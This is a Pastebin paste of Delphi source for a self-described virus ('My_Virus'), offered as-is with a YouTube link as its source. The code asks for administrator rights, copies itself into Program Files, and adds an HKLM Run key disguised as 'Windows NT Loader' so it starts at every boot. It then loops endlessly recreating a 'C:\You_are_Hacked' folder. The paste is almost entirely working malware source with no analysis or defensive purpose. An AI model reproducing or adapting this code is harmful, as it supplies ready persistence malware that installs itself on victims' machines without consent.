Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- program Project1;
- //{$APPTYPE CONSOLE}
- uses
- Windows,
- Messages,
- SysUtils,
- Variants,
- Classes,
- Controls,
- Forms,
- Dialogs,
- Winsock,
- ShellAPI,
- Registry,
- UrlMon,
- TlHelp32,
- OleCtrls,
- SHDocVw,
- Graphics,
- StdCtrls;
- var worked : Boolean;
- function installer_mode:boolean;
- begin
- result:=copy(ExtractFileName(Application.ExeName),1,3)<>'xxx' ;
- end;
- procedure Run_As(var worked : boolean) ;
- begin
- if Pos('ixiadmin',GetCommandLine)<5 then
- begin
- ShellExecute(0, 'runas', PChar(Application.exename), PAnsiChar('ixiadmin'),nil, SW_SHOWNORMAL);
- worked := True;
- end;
- end;
- function GetProgramFilesDir: string;
- var
- reg: TRegistry;
- begin
- reg := TRegistry.Create;
- try
- reg.RootKey := HKEY_LOCAL_MACHINE;
- reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion', False);
- Result := reg.ReadString('ProgramFilesDir');
- finally
- reg.Free;
- end;
- end;
- procedure AddEntryToRegistry;
- var key: string;
- Reg: TRegIniFile;
- begin
- key := 'Software\Microsoft\Windows\CurrentVersion\Run';
- Reg := TRegIniFile.Create;
- try
- try
- Reg.RootKey:=HKEY_LOCAL_MACHINE;
- Reg.CreateKey(Key);
- //if Reg.OpenKey(Key,False) then
- Reg.WriteString(key, 'Windows NT Loader', GetProgramFilesDir+'\My_Virus\xxx.exe');
- finally
- Reg.Free;
- end;
- except
- Application.ProcessMessages;
- end;
- end;
- procedure Installer ;
- begin
- if not(FileExists(GetProgramFilesDir+'\My_Virus\xxx.exe')) then
- begin
- if not(DirectoryExists(GetProgramFilesDir+'\My_Virus\')) then
- MkDir(GetProgramFilesDir+'\My_Virus\');
- CopyFile(PAnsiChar(Application.exename),PAnsiChar(GetProgramFilesDir+'\My_Virus\xxx.exe'),False);
- AddEntryToRegistry;
- //ShowMessage('The installer mode is running');
- ShellExecute(1, nil, PAnsiChar(GetProgramFilesDir+'\My_Virus\xxx.exe'), nil, nil, SW_SHOWNORMAL);
- end;
- Application.Terminate;
- end;
- procedure Loop;
- begin
- while(True)do
- begin
- if not( DirectoryExists('C:\You_are_Hacked') ) then
- begin
- MkDir('C:\You_are_Hacked');
- end;
- end;
- end;
- begin
- worked := false;
- Run_As(worked);
- if (worked = False ) then
- begin
- ///////////////////
- if(installer_mode = true ) then
- Installer
- else
- Loop;
- ///////////////////////
- end
- else
- Application.Terminate;
- end.
- Source : http://youtu.be/7P6xOY51aDE
- //////////////////////////////////////
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement